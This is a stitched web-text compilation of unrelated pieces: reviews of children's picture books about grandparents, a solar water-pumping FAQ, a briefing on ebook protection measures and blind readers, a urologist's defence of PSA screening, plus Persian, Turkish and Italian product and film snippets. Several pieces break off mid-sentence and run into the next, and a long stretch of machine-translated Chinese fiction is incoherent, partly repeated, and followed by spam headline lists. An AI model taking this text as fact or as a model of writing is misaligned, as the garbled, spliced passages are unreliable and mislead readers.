Emma’s Story tells of the family’s excited preparations folowed by Mommy and Daddy’s long trip to meet Emma. We witness the new family’s first night and day together and their trip home to Canada. A large crowd meets the threesome at the airport and joyfully celebrate’s Emma’s arrival.
Emma has heard her story “a million times” and she is reassured by Grandma’s words, It’s not how we look that makes us a family, Emma. It’s how we love each other,” said Grandma.
“And we love each other a lot!” said Emma.
While perhaps not meant for every bookshelf, Emma’s Story offers a very reassuring message and one that bears repeating. Just as Emma likes to hear her story and be comforted by it, children who share the international adoption experience will be similarly reassured by this book.
Grand written by Marla Stewart Konrad
Picture book featuring photos of children and their grandparents from around the world published by Tundra Books
The World Vision Early Readers series features minimal text and striking photographs from Romania, Uganda, Mongolia, Sri Lanka, South Africa, Pakistan, Cambodia, Vietnam. Grand depicts children and their grandparents enjoying quiet moments together, working in gardens, doing chores, playing games. The message is clear: the special inter-generational bond is universal.
Grandad’s Prayers of the Earth – written by Douglas Wood, illustrated by P.J. Lynch
Picture book that highlights the relationship between a boy and his grandfather published by Candlewick Press
This lovely, award-winning book is a tribute to the natural world, the special relationship between a boy and his grandfather and the comfort of prayer.
While on a forest walk together, a young boy asks his grandfather about prayer. His grandfather pauses and then encourages the boy to look at the natural beauty around him and observe carefully, “These are all ways to pray, ” said Grandad, “but there are more…The tall grass prays as it waves its arms beneath the sky,and flowers pray as they breathe their sweetness into the air.”
A moving tribute to the love between a child and his grandparent, Grandad’s Prayers of the Earth is a book that can be enjoyed on many levels. Best suited to children five and up.
When a six year old boy, his grandmother and her new husband go on vacation to a theme park, all is well until Hortense arrives. Hortense is Bob’s granddaughter and she is suddenly a threat. Nana shares her hotel room with Hortense, she sings “Lavender’s Blue” to her and she sits next to her for all the scary rides. To add insult to injury, Hortense even devises a special name for Nana!
Nana’s grandson is despondent. He can’t believe that Hortense has taken his special place with his grandmother.
It is not until Nana and Gramps take a ride in the Tunnel of Love that the two children are able to gain perspective and learn to like each other.
Note: Here Comes Hortense! is a follow up to Heather Hartt-Sussman and Georgia Graham’s picture book titled Nana’s Getting Married
Theo is blessed to have a very special relationship with her grandfather, Poppa. When Poppa moves into an apartment, they decide to create an imaginary garden on his balcony. The first Saturday of spring is marked by the arrival of a giant, blank canvas. Before long, Poppa and Theo have created a long stone wall and beautiful blue sky. Soon they have added beautiful spring flowers to their masterpiece. When Poppa leaves for a holiday, Theo worries about tending their special garden by herself. With gentleness and love, Poppa assures her that she will know what will nurture their imaginary garden. This lovely picture book would be a great gift for a special Grandpa.
Lessons From Mother Earth written by Elaine McLeod and illustrated by Colleen Wood
Picture book about foods available in the wild published by Groundwood Books
Lessons from Mother Earth tells the story of a young girl who learns from her grandmother. They leave a small cabin and, with her grandmother’s guidance, the young girl discovers the bounty of fresh food provided by Mother Earth. Lamb’s-quarters, raspberries, blueberries, cranberries, rosehips, dandelions and mushrooms are all part of the bounty.
Appropriate for children aged four and up, Lessons from Mother Earth encourages appreciation of our natural world and of the wisdom shared by our elders.
The Little Word Catcher Written by Danielle Simard, illustrated by Geneviève Côté
Picture book about a young girl and her relationship with her grandmother published by Second Story Press
Originally published in French, The Little Word Catcher won a Governor General’s Award for Illustration. It was written with Alzheimer patients and their families in mind but also illustrates the impact of aphasia (an acquired communication disorder that is often due to stroke). Elise’s grandmother is losing her words. When in conversation, she has difficulty coming up with the right word to use. The affliction is terribly difficult for her young granddaughter to understand. Eventually, Elise takes comfort in the thought that perhaps Grandma has given her the words to use. A lovely story about the special relationship between a grandparent and a child, The Little Word Catcher will have special poignancy for families dealing with aging and loss.
My Two Grannies written by Floelle Benjamin and illustrated by Margaret Chamberlain
Picture book about diversity within families published by Frances Lincoln Children’s Books
Alvina’s two grandmas come from very different backgrounds. Her Granny Vero was born in Trinidad whereas Granny Rose was born in England. The grandmas both live nearby now and Alvina loves to spend time with each of them, listening to stories. She learns that Granny Vero loved swimming in the warm waters of the Caribbean while Granny Rose visited the beach near Blackpool but avoided the cold water. When Alvina’s parents take a trip to celebrate their tenth wedding anniversary, Alvina works out a creative way for the three of them to enjoy time together and learn more about each grandma’s cultural traditions.
Old Dog written by Jeanne Willis and illustrated by Tony Ross
Picture book about a grandpa who has some fun tricks up his sleeve published by Andersen Press
When the young pups are told that they will be visiting Grandpa, they whine, “He’s so boring. All he ever does is talk about the olden days.” “And he has dog breath,” they whimpered. “And he keeps scratching himself.” Mom insists and, before long, they arrive at Rose Kennel for a visit. After a chance remark by one of the pups, Grandpa disappears into the house. His grandkids are convinced that he’s gone for a nap. Moments later, Grandpa re-emerges in a clown costume. He’s more than ready for his detractors, ““Stand back!” he said. “Watch this, you young whippersnappers. You might learn something.”
Clever wordplay and delicious illustrations make Old Dog a delight for readers aged four and up.
It is time for Emily’s grandmother to move into a retirement home. This will be a difficult transition for Oma, Emily and Emily’s mom. Many happy memories are left behind as Oma’s possessions are boxed up and she moves away. As Emily and her mom sort through Oma’s belongings, Emily comes up with a wonderful idea. She and her mom will create a quilt stitched from the fabrics of Oma’s life. Highly recommended for children and their parents. This gentle picture book deals with a difficult life transition beautifully.
Silas’ Seven Grandparents written by Anita Horrocks and illustrated by Helen Flook
Picture book about family diversity published by Orca Book Publishers
Silas loves his seven grandparents and their enthusiasm for his activities and interests. Silas enjoys going on fun outings with his grandparents and appreciates their gifts. When his mom and dad go away on a business trip, Silas is invited to stay with his grandparents. His mom wants him to choose where to stay but it is not an easy decision. Lying awake on a moonlit night, Silas reaches a decision: he invites each of his grandparents to come and stay with him. Acrylic ink illustrations nicely match this happy story of life with seven grandparents.
You Can’t Rush a Cat written by Karleen Bradford and illustrated by Leslie Elizabeth Watts
Picture book about a girl and her grandfather assisting a stray cat published by Orca Book Publishers
Jessica and her grandfather have a special project during her visit; they hope to tame a stray cat. Jessica is patient and respectful of the cat and assures her grandfather that, ‘You can’t rush a cat.’ Early one morning, Jessica sits quietly on the kitchen floor and waits for the little cat to approach her. By day’s end, her plan succeeds and Grandfather has a new furry friend.
38 Ways to Entertain Your Grandparents written by Dette Hunter and illustrated by Deirdre Betteridge
Published by Annick Press
Sarah, Violet and Joe spend a busy weekend with Grandma and Grandpa. Together they enjoy many fun activities – everything from playing traditional card games to cooking Belly Button Soup. Written as a storybook, 38 Ways to Entertain Your Grandparents includes child-friendly recipes as well as step-by step instructions for crafts and games.FAQ’s and Frequently Asked Questions
We have compiled a list of our most frequently asked questions & some information to help you better understand what our products can offer.
Solar Frequently Asked Questions
- How does the sun power a pump?
- Where do solar pumping systems work?
- Economics of Solar Water Pumping:
- Mounting Structures and Array Placement:
- Windmills: Yesterday’s Answer to Remote Water Delivery
- Fixed vs. Tracking Mount Structure
- Why we don’t recommend batteries in water pumping systems:
- Petrol / Diesel Generators vs. Solar Energy:
1. How does the sun power a pump?
The process begins with the photovoltaic effect producing a flow of electrons. These electrons are excited by particles of light & find the attached electrical circuit the easiest path to travel from one side of the solar cell to the other. Envision a piece of metal such as the side panel of a car. As it sits in the sun, the metal warms. This warming is caused by the exciting electrons, bouncing back and forth, creating friction & therefore, heat. The solar cell merely takes a percentage of these electrons & directs them to flow in a path. This flow of electrons is, by definition, electricity.
Photovoltaic or solar electric cells convert sunlight directly into electricity. This electricity is collected by the wiring in the module & then supplied to the DC pump controller & motor, which, in turn, pumps water whenever the sun shines. At night or in heavy cloud conditions, electrical production & pumping ceases.
2. Where do solar pumping systems work?
Solar pumping systems work anywhere the sun shines. The majority of Australia enjoys plenty of sun to operate a pumping system economically.
The intensity of light varies greatly throughout the day. Morning and afternoon sunlight is less intense because it is entering the earth’s atmosphere at a high angle & passing through a greater cross section of atmosphere, which reflects & absorbs a portion of the light.
We measure sun intensity in peak full sun hours. One hour of peak sun is roughly equivalent to the sunlight on a clear summer day at noon. The sunlight or isolation levels also vary seasonally. Fortunately, most needs for water correspond with the sunniest seasons of the year – spring, summer & autumn.
Small to medium solar electric pumping systems are easily portable. By mounting the solar system on an axle or trailer, a system can be moved from bore to bore, dam to dam, etc… This increases the economic return of a system by increasing the seasons of use. It may also correspond with the rotation of grazing areas.
3. Economics of Solar Water Pumping
The economic value & reliability of solar electric power make it an excellent choice for remote water pumping. Livestock producers in Australia, USA, Africa & Mexico are enthusiastic solar pump users. Their water sources are spread over vast areas, where power lines are few & refuelling & maintenance costs are substantial for generator & engine use.
If your water source is 1 km or more from the power line, solar is a favourable economic choice. This fact is reinforced by the staggering costs of extending power lines in rural Australia & the escalating price of diesel fuel. A solar pump minimizes future costs & uncertainties. The fuel is free. Moving parts are reduced to as few as one. A few spare parts can assure you many years of reliable water supply at near-zero operating costs.
4. Mounting Structures and Array Placement
Solar modules should be located in a sunny spot where no shading occurs. Even shadows from a tree branch, tall grass, or fence posts can substantially reduce power output.
For these reasons we typically mount the solar modules on a ground mount, windmill tower, tank top or building roof above any obstacles. Remember the solar array can be placed some distance from the water source if shading is a problem. Cable size can be increased to compensate for longer cable runs & the associated voltage drop. The solar panels should always be mounted facing north with an average angle of 20 degrees.
5. Windmills: Yesterday’s Answer to Remote Water Delivery
There are still thousands of windmill water pumping units standing in rural Australia. Regrettably, many are inoperable. These mills were very valuable for remote (off grid) sites, with the minimum wind conditions & when manpower was plentiful & cheap. Windmills, though potentially long lasting, need dedicated maintenance. The down hole leather pump buckets require regular inspection & high winds can cause mechanical damage to the blades. Parts for these mills are expensive & sometimes hard to find. There is another side to windmills which can have devastating effects on water supply, these are wind droughts (no wind, no water) which can last for quite long periods of time, solar pumps do not suffer this problem.
Solar water pumping systems have many advantages over windmills. Though the initial cost of solar powered systems can be similar to that of a windmill (however, in many cases far less) the life time costs are much lower. Windmills must be used where there is a steady, constant wind for maximum results while solar pumps operate anywhere the sun shines. Solar pumping systems can be installed in less than a day by an individual or small crew & can be portable, while windmills (because of the need to erect a tower) can take a larger crew a much longer time to install. Windmills are secured to the ground & are stationary. There is also the added safety benefit of ground level operation, meaning no climbing dangerous windmill towers. Solar powered water pumping systems are the modern day upgraded version of the windmill which uses natural resources to deliver water in off grid locations.
Solar power & water pumping are a natural combination. Generally, water is needed most when the sun shines its brightest & longest. Solar modules generate maximum power in full sun conditions when we typically need larger quantities of water. Because of this “sun synchronous” matching, solar is an economical choice over windmills & engine driven pumps for most locations where utility power is non-existent. Owners of solar water pumping systems enjoy a reliable power system that requires no fuel & very little attention.
6. Fixed vs. Tracking Mount Structure
Fixed Mount structures are less expensive & tolerate higher wind loading. By fixing the modules due north, less water is pumped than a tracking system which orients the modules towards the sun as it arcs across the northern sky. However, with solar panels becoming so cheap it is considered better value to add a panel to a fixed frame instead of investing in a tracker.
Tracking mount structures keep the modules at a 90 degree angle to the sun all day long. This provides more power to the pump over a longer period of the day, which produces 20 to 30 percent more water daily in the summertime.
Trackers offer a great advantage when pumping water. Positive single axis trackers are not known for their reliability & service life. They take very little power from the system as they operate (4 watts). Positive trackers are highly recommended in all locations. The heavy duty actuator is operated by some very simple electronics that measure the length of the previous day by measuring the time that the panels are producing any voltage. This time span is then split into 6 equal periods & the array is moved from east to west in 15 degree intervals. Gas/Fluid trackers have no electronics & are even more reliable but come at a higher cost. At night the array is moved to the horizontal position to minimize wind loading.
7. Why we don’t recommend batteries in water pumping systems
While batteries may seem like a good idea, they have a number of disadvantages in pumping systems. They reduce the efficiency of the overall system. The solar modules operating voltage is dictated by the battery bank & is reduced substantially from levels which are achieved by operating the pump directly. Batteries also require additional maintenance & under & over-charge
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�定一有机会就提出他认为盖伊元帅对修道院院长和治安官无能为力的问题。显然，Gysburne不得不走了。阿洛因正在考虑如何最好地把他的案子交给修道院长，却没有听见修道士对他说话。他摸了摸胳膊，抬头看了看。“蒙西尼尔，关心者。他的身体躺在蒙特勒的停尸房里。他的脚趾上的标签说约翰做了。”有点松了事实，但很近。爱泼斯坦拍了一只手，不屑一顾。”我们已经完成了。这个女人被清楚地告诉了。”
你也没有发现任何血，或者任何挣扎的迹象，或者任何其他可能合理地让你相信你真的杀了人的东西。这一切都是梦，格林。至于汽车的家，很显然，你今天早上在某个时刻看到了它。你甚至可能更早地看着窗户，所以当你有梦想的时候，图像已经在你的脑海里了。”他开始用手指指尖。“你隔壁邻居被谋杀的方式与你的梦想不同。我们不会在面试过程中的任何时候讨论尼古拉斯·拉普萨的个人或专业事务。这就是为什么你在这里发送了弗兰基和LOGO？我觉得你是在调查你的酒吧，雷吉？现在是爱泼斯坦的目标。你是在调查你的酒吧，小姐。你想扩大分销吗？我继续钻探CUMBO。你把基奥哈和法洛戈送到夏威夷吗？他们是你的前男友？够了！爱泼斯坦站在了他的脚下。你搞砸了，Reggie。
但我没有。在某种程度上，我信任他，在某些方面，这种背叛甚至比科文的还要严重。与COVEN，我希望得到支持，但在内心深处，我比预期更好。他们从一开始就告诉我他们不会帮忙。那是拒绝，不是背叛。他的脖子有一个空洞的缺口，在他的喉咙上斜着一个疤痕。这也让我们感觉到了？你的脸也是一样的。他说。我不是AlLapasia，我不是蜘蛛。
这可能会帮助我下定决心。但只有他的代表有权访问，他说。我知道。他能感觉到她的身体通过活体织物散发出的温暖，它诱惑了他。他评论说，“总有一天我会得到这些的。贵？““DyLoad紧张地继续观察档案的馈送，注意到他的左眼在和Fael聊天时扭动着她的衣服。那叛逆的左眼！当他焦虑或激动时，他总是行动起来。
他抬起头来，一些旧的反抗回来了。“我什么也不同意，“他宣布，“直到你接受我们的条件。”““什么条件？“布兰问，艾伦告诉他修道院院长的回答。“也许你会接受同样的条件，你提供这些农场家庭今天上午？““修道院院长的嘴唇蜷缩成一个无声的咆哮。“我没有想到，“继续麸皮，通过艾伦说话。她不再是一个竞争激烈的花样滑冰运动员,一个女孩的男朋友刚刚杀了人。她只是一个身体在太空中前进,停止只收回资金从储蓄帐户或使用浴室或得到得来速”,油脂严重冲击她的系统。她开车,开车到晚上。她不知道她在什么状态,哪个州她前往。所有她可以看到她的车前灯刮,轻声的雪闪闪发光的从周围的松树。整个世界笼罩在沉默。
你也没有发现任何血，或者任何挣扎的迹象，或者任何其他可能合理地让你相信你真的杀了人的东西。这一切都是梦，格林。至于汽车的家，很显然，你今天早上在某个时刻看到了它。你甚至可能更早地看着窗户，所以当你有梦想的时候，图像已经在你的脑海里了。”去年秋天，当安理会其他成员国不愿拯救萨凡纳时，我已经准备好自己进去了。如果我这样做了，我会死的。毫无疑问。我会死的，我可能会被萨凡纳杀死。
实时热点榜单
- 1JBL一直在为iPod和iPhone制造这种类型的小型扬声器底座 - 重庆渝丰丰田雷克萨斯维修中心新
- 2钢铁加工企业员工监守自盗骑助动车盗销工业原材料被刑拘 - 重庆渝丰丰田雷克萨斯维修中心新
- 3甜腻校园恋爱软萌学妹VS痞帅校霸确认过眼神遇见对的人！ - 重庆渝丰丰田雷克萨斯维修中心新
- 4德泰新能源(00559HK)年度净亏扩至157亿港元核数师有保留意见 - 重庆渝丰丰田雷克萨斯维修中心
- 5一个是袖珍超级大国一个是土豪不差钱以色列和沙特谁更强大 - 重庆渝丰丰田雷克萨斯维修中心
- 6疑似缺乏视听节目许可证斗鱼TV还能活下去吗 - 重庆渝丰丰田雷克萨斯维修中心
- 7翻遍了明星婚纱照这样的婚纱照拍完立马是朋友圈中最佳！ - 重庆渝丰丰田雷克萨斯维修中心
- 8俄军雷达发现异常反舰导弹立即竖起美军舰见状立刻掉头躲避 - 重庆渝丰丰田雷克萨斯维修中心
- 9男子正在开车猫咪突然伸爪搭肩透过后视镜一看瞬间傻眼了 - 重庆渝丰丰田雷克萨斯维修中心
- 10领悟商业哲学从0到1开启商业与未来的秘密 - 重庆渝丰丰田雷克萨斯维修中心“چرم” یا “چرم اصل” را فقط باید چرمی نامید که پوست حیوانی با ساختار الیافی ماده و حفظ خواص طبیعی آن به لایههای لایهای تقسیم نشده باشد.
نباید چرم نامیده شود به این گونه مواد باید چرم دانه ای، چرم آسیاب شده و چرم هولوگرامی گفته شود.در آلمانی چنین موادی به نام Lefa شناخته می شود.
ضخامت سطح و ارتباط آن با لایه های مختلف
اگر چرم دارای پوشش مات (رنگ، کلاسور، فویل، فوم و غیره) باشد، ضخامت این پوشش نباید از 0.15 میلی متر بیشتر باشد. اگر این لایه بزرگتر باشد اما بیش از 1/3 ضخامت ماده را تشکیل ندهد، می توان آن را چرم پوشیده نامید.
قانون ضخامت 1/3 زمانی اعمال می شود که یک سطح سخت (دستگاه ها، محفظه ها) با لایه نازکی از پوست پوشانده شود تا محافظت شود.
چرم
نسبت مقدار چرم به مواد دیگر
کالاهای چرمی عناصر ضروری برای استفاده باید عمدتاً از چرم ساخته شده باشند. در غیر این صورت، اصطلاح کالاهای چرمی نباید برای توصیف آنها استفاده شود. به خصوص اگر محصول به طور کامل یا بیشتر از چرم مصنوعی ساخته شده باشد.
به طور کلی، مواد غالب برای یک محصول خاص باید دارای برچسب باشند (به عنوان مثال: کیف دستی چرم PU با تزئینات چرمی)
در مورد خودروهایی با تودوزی کامل چرمی می توان گفت که تمام عناصری که شبیه چرم هستند از چرم ساخته شده اند.
اگر چرم در یک محصول به طور دائم به ماده دیگری چسبانده شود (بر روی پایه پارچه چسبانده شود)، تنها زمانی می توان آن را یک محصول چرمی در نظر گرفت که ضخامت کل محصول حداقل 80٪ چرم باشد.
در غیر این صورت، لایه های داخلی و خارجی باید جداگانه توضیح داده شوند. علاوه بر این، نوع پلاستیک استفاده شده باید به طور دقیق در محصولات اکو چرم مشخص شود.
اگر یک شی فقط ت
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skills and understanding necessary to produce and to engage with authentic and original art, craft and design work. In so doing, they will begin to develop the visual literacy, critical skills and language necessary to engage with contemporary culture. This will further contribute to the students’ understanding of the rich and diverse roles of art, craft and design in historical and contemporary societies and cultures.This might involve giving them readings with opposing points of view, or readings that contain some dubious information alongside readings that are factually accurate.In class, ask students to compare the content/points of view in the materials.Make them aware of how scholarly journals and conference papers differ from textbooks and popular media.
Another approach is to divide the class into debate teams where each team must argue first one side of the issue, and then the other side.
Throughout the course, different teams could present their debate on different topics.
Use “What If” scenarios to get students thinking critically.
For example, "What if you could redesign the Canadian Charter of Rights and Freedoms? How would you ensure that some groups are not left out? What principles would you use to guide your framework? Use the board/whiteboard to record pros and cons as students debate the topic.
Stress that you will not just be covering the basic elements of the material in class, but also will be discussing with them what the material is about and common assumptions or fallacies about the topic that they noticed.
Incorporate peer group discussion into the course, where groups are challenged to come up with lists of the assumptions or fallacies that they noticed in their readings or in the concepts covered.
If there is one thing that we know for sure, it is that thinking skills, general or otherwise, can’t be learned if they’re not taught in as overt a manner as other content in college courses”.
How does one go about incorporating critical thinking into university curricula and courses?
There is a fairly large body of literature about critical thinking in higher education, much of it without any real suggestions as to how to actually teach it.
This is partly because teaching critical thinking may depend somewhat on the nature of the discipline and the size of the course, although studies in physics and biology have shown that even students in very large first-year courses can benefit from small pedagogical changes to incorporate more critical thinking and interactivity (Cowan et al., 2014).Technological Protection Measures and the Blind
Why Circumvention for the Purposes of Access is Crucial
A Bookshare Briefing Paper Prepared for the Diplomatic Conference for Visually Impaired PersonsThe distributors of digital content often use technological protection measures (TPMs) to discourage the making of unauthorized copies. Unfortunately, these TPMs create collateral damage in the form of disabling or hindering activities that are generally permitted. This is especially acute for accessibility for the blind and disabled, where the TPMs cannot technically distinguish between accessing the content for the making of an illegal copy, or accessing the content to speak it aloud with a synthetic voice or to create a Braille version. This has created the ironic situation where blind people, who because of their disability require access to digital copies, have been effectively locked out of purchasing ebooks for the last decade. Each new content delivery system is eagerly tested by technically oriented blind individuals or the organizations serving them, often to result in disappointment and widespread advice to avoid wasting limited resources on inaccessible content.
TPMs and Accessibility Challenges
Here is a short list of the challenges that arise in the interaction between TPMs and accessing digital content:
- The digital textual content is presented as an image. In many cases textual content is not delivered as text, but as a digital image of a page of text. This happens frequently with PDFs that are created from page scans.
- The digital textual content is presented as text, but the TPM blocks a screen reader from accessing the text to speak it aloud, or transmitting it to a digital Braille display.
- The digital content is presented as text, but the built-in read-aloud capability is disabled because of ambiguity over audio rights.
- The digital content can be accessed with a read-aloud function, but the read-aloud function is unusable for equal access. Common problems are the inability to go back, pause, spell words (or names) or access footnotes (or be forced to hear all footnotes).
- The digital text can be accessed, but there is impaired access to the structure of the document. It’s allowed in many formats to present the text not in logical reading order, but completely out of order with instructions to the device on how to make the content “look” on the page.
- The digital content can be accessed only on a certain kind of device, and the consumer with the disability doesn’t have that device. [Added by a suggestion from George Kerscher: Similarly, the consumer has a device they have learned to use effectively, but the desired content cannot be moved or used on that device.]
- The content contains images mixed in with the text, and the image content is crucial to using the text. Classic example is a math textbook, where the math equations and diagrams are all presented as images in digital textbooks. So, the student might be able to read only 60% of the relevant content, and have no idea about what the equations say.
Textbooks in IDEA, the United States K-12 special education lawThe issue of TPMs is the biggest future-proofing question in the Treaty. In some markets, printed books are receding into the past. Amazon now ships more ebooks than print books in the United States. Access to printed books without handling ebooks would be a pyrrhic victory for people with disabilities. This is already apparent in IDEA 2004, the most recent reauthorization of national special education law. A key policy innovation was required all publishers to deliver accessible digital versions of K-12 textbooks that were printed. However, this requirement does not apply to digital-only versions of textbooks, which are already starting to appear. And of course, these digital-only textbooks are being delivered with TPMs that hinder access.
Use of TPMs by Authorized EntitiesThe use of TPMs by authorized entities has been presented as somehow invalidating their concerns about TPMs, but this conclusion is logically flawed. Authorized entities are not advocates for the making of illegal copies, or the outlawing of TPMs, or wishing that all information were free. Authorized entities are against TPMs to the extent that they interfere with accessibility. Authorized entities use TPMs for the same reasons as commercial distributors of content: to discourage the making of illegal copies, or to prevent legal copies from reaching unauthorized users. Since authorized entities have a strong obligation to exclusively distribute accessible copies to qualifying people with disabilities, it should come as no surprise that they implement TPMs as part of delivering on that obligation. Authorized entities use both “hard” TPMs such as digital locks that only work with authorized players (i.e., NLS in the U.S.), as well as “soft” TPMs such as fingerprinting (i.e., Bookshare). Authorized entities are, not surprisingly, generally fine with circumvention of their TPMs for the purpose of better accessibility, and are against circumvention of their TPMs for the purpose of making illegal copies (say, for the purposes of distributing their content to people without disabilities). Two examples of this are:
- Bookshare permits the stripping of fingerprints out of its digital books when used to create master documents for Braille production. Bookshare digital files contain the name of the person or organization that downloaded the digital file, but Bookshare permits Braille production facilities to strip this TPM information out when delivering hardcopy Braille books. Hardcopy Braille is difficult to “pirate,” whereas digital versions can be more easily used to make unauthorized copies.
- Authorized entities that distribute audio books often need to remove the TPMs from one flavor of audio book from a different authorized entity, so that they can repackage and distribute that audio book in a different protected audio format that works with the players used by the patrons.The PSA test measures the level of PSA in the blood and is the best tool currently available for detecting prostate cancer in its earliest—and most curable—stages. Prostate Specific Antigen (PSA) is a protein produced by the prostate gland. It functions to help liquefy semen after ejaculation. The elevated PSA that is detected in the blood with prostate cancer occurs because of a disruption of the cellular architecture of the prostate cells, the loss of which permits the leakage of PSA into the circulation.
PSA is widely accepted as a marker for those who have prostate cancer. For prostate cancer patients, the PSA level is extremely helpful in monitoring its status. If the PSA level begins to rise, it may be the first sign of a recurrence. In fact, a rising PSA often precedes a clinical relapse by months or years. The problem with PSA as a cancer-screening tool is that although PSA can be elevated due to prostate cancer, benign prostate conditions can elevate it as well, including prostatitis (inflammation of the prostate) and benign prostatic hyperplasia (BPH, an enlargement of the prostate gland).
The United States Preventive Services Task Force (USPSTF) counsels against the use of PSA testing in healthy men for the early detection of prostate cancer. They claim that the test does not save lives and leads to more tests and treatments that can cause pain, incontinence, and erectile dysfunction. The USPSTF is the same organization that advised women not to undergo routine mammography, which set off a blaze of controversy.
The USPTF’s proposals were met with great resistance by many cancer organizations, women, and physicians -- many of whom continue to ignore them. I, along with many other members of the American Urological Association, disagree with claims that the PSA test provides no clear benefits. Urologists, radiation oncologists, and medical oncologists (those physicians in the know who are in the “trenches” taking care of prostate cancer on an everyday basis) understand how devastating prostate cancer can be and the importance of early detection.
PSA testing provides vital information in the diagnosis, pre-treatment staging, risk assessment and monitoring of prostate cancer patients. It provides a great service to those who may benefit from early prostate cancer detection. Sadly, I believe the recommendations of the USPTF ultimately does more harm than good for the many men at risk for prostate cancer. I’ve practiced urology for more than 25 years, in addition to many years of residency and fellowship training. I’ve served as a physician in both the pre-PSA era and the post-PSA era.
In my early years of training at the University of Pennsylvania School of Medicine, it was not uncommon to be called to the emergency room to treat men who could not urinate (acute urinary retention). A digital rectal exam showed rock-hard prostate glands (a classic sign of prostate cancer) and imaging studies showing advanced prostate cancer involving the bones—metastatic prostate cancer with a grim prognosis. In the post-PSA era, that scenario—fortunately—occurs on an extremely infrequent basis thanks to PSA screening. The only men who do present that way these days are those who have not undergone PSA screening as part of their annual physical exams.
Annual screening with PSA and digital rectal exams has resulted in the detection of prostate cancer in early, curable stages before prostate cancer has an opportunity to spread and become incurable. I have little doubt that PSA testing saved my own father’s life. He underwent prostate surgery for cancer 17 years ago and is now a healthy, thriving and active 83-year-old. He had no symptoms or physical findings suggestive of cancer, only an elevated PSA that had accelerated from prior years.
Prostate cancer is a remarkably variable disease with every case being unique, literally as different as snowflakes. This demands that the treatment of prostate cancer be individualized. The challenge is to distinguish between clinically significant and clinically insignificant cancer and to decide the best means of managing clinically significant disease to maintain quantity and quality of life.
Not all prostate cancers require active treatment and not all prostate cancers are life threatening. If a diagnosis of prostate cancer is made, whether active treatment is necessary or whether active surveillance (watchful waiting) may be an option is an important decision that needs to be made.
1. Discuss with your doctor the pluses and minuses of PSA screening for prostate cancer.
2. PSA testing is certainly advisable if you are in good health and have a greater than 10-year life expectancy, especially if you have a family history of prostate cancer or are African American, both of which put you at higher risk.
3. Understand that PSA blood testing, aside from requiring a needle stick, has no side effects whatsoever, but provides useful information that can help make a decision whether or not to proceed with further testing, such as prostate biopsy.
4. Learn more about prostate health at The Private Gym.
Andrew Siegel, M.D., Urologist, Cofounder of The Private Gym, and author of the highly acclaimed book, Male Pelvic Fitness, Optimizing Your Sexual and Urinary Health.'Bir Vücut Cildi' mobilya koleksiyonu
“Bir Vücut Cildi” Studio 9191'den Gigi Barker tarafından tasarlanan bir mobilya koleksiyonudurinsan vücudunun unsurlarına benzemek .
Sandalyeler ve ayak uzatma tabureleri silikon taban ve kalıplanmış deri kılıf kullanılarak yapılmıştır tıraş sonrası ve feromonlarla emprenye edilmiş deneyimi olabildiğince etli hale getirmek.
Sandalyenin belirli bir vücut parçası olarak tanınması mümkün değil, ancak Barber'ın amacı “cilt yüzeyinin karmaşık inceliklerini ve çeşitlerini ve et hacmini keşfetmek” dedi.
İnsanlar sandalyede oturduklarında kurulan bağlantı, “kendi derilerimizde ve bir diğeriyle olan ilişkimiz ve rahatlık seviyesini sorguluyor” diye ekliyor.
“Kalıplanmış deri potansiyel bir aşinalık ve dolayısıyla daha ince bir görsel etki sağlar. Bununla birlikte, kelimenin tam anlamıyla bir cisim, bir vücuttan çıkarılmış, malzemenin bir temsili yerine doğrudan bir çeviri. ”
“Bir Vücut Derisi” parçaları şu anda 9191'den satın alınabilir, fiyatları 440-1500 £ arasında değişir.Embry-Riddle Aeronautical University
Ethics and professionalism are an integral part of the aviation industry. High professional and ethical standards are required of everyone in the chain from the designer to the pilot to ensure safe flight operations. This paper discusses ethical behavior and the ability to teach ethics and suggests methods that may be used by aviation faculty to enhance the ethical outlook of the aviation student.
Scholarly Commons Citation
Benton, P. A. (1995). Ethics in Aviation Education. Journal of Aviation/Aerospace Education & Research, 5(2). https://doi.org/10.15394/jaaer.1995.1147Quando il film Rio finito, sono stato lasciato con due bambini che hanno amato di scuotere le penne della coda alla samba e una sensazione affondamento che tipo A Blu e Jewel fieramente indipendente avrebbero bisogno di qualche rapporto di consulenza.Ora, dopo un weekend turbine a Miami Beach per la Rio 2 prima, sono felice di segnalare che il sequel non appianare i conflitti del primo film, come spesso accade.No;ci sono bambini, discordie coniugali, più difficili suoceri del mondo, e un cattivo che è più cattivo, calvo, e più divertente che mai.
Per non parlare di un grande messaggio di uscire da esplorare (e salvare) il mondo.
- Va bene, sì, abbiamo un po 'di gossip dal Rio 2 premiere, anche.Continua a leggere ... -
Rio 2 inizia con Blu e Jewel di tre bambini presi tra mondo addomesticato del Blu di frittelle e TV e gioiello de
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等木材害虫的生活习性来阻止他们的用力繁殖，或是采用木料上边的选材，多使用一些白蚁和天牛不喜爱的木材料。根据他的各种习性来判断阻止虫害的发生。
www.beads876.com详情请登录金奇木结构官网Ottan'ın klasik ürün serisi "LaLaLa" bardak altlıkları sabah kahvenize eşlik ederken, izin verin ileri dönüştürülen Ottan malzemenizin doğal renk ve dokuları ortama karakter ve zevk katsın.
Ürünlerimizin her biri yapıldıkları malzemelerin renklerini doğal olarak yansıtır ve herhangi bir renklendirici içermez.
Tomato Jam - Son Kullanma Tarihi Geçen Kırmızı Mercimeklerden ileri dönüştürüldü!
Pudding - Son Kullanma Tarihi Geçen Pirinç ve Kırmızı Mercimeklerden ileri dönüştürüldü!
109,00₺FiyatA work of art may be understood as a conductor from the artist’s mind to the viewer’s. But it may never reach the viewer, or it may never leave the artist’s mind.
Sol LeWitt was an U.S. artist and a founder of both Conceptual and Minimalism art. LeWitt came to fame in the late 1960s with his wall drawings and "structures" (a term he preferred instead of "sculptures") but was prolific in a wide range of media including drawing, printmaking, photography, and painting. He has been the subject of hundreds of solo exhibitions in museums and galleries around the world since 1965.
According to the principle of his work, LeWitt's wall drawings are usually executed by people other than the artist himself. He would therefore eventually use teams of assistants to create such works. Writing about making wall drawings, LeWitt himself observed in 1971 that "each person draws a line differently and each person understands words differently". Between 1968 and his death in 2007, LeWitt created more than 1,270 wall drawings. The wall drawings, executed on-site, generally exist for the duration of an exhibition; they are then destroyed, giving the work in its physical form an ephemeral quality. They can be installed, removed, and then reinstalled in another location, as many times as required for exhibition purposes.
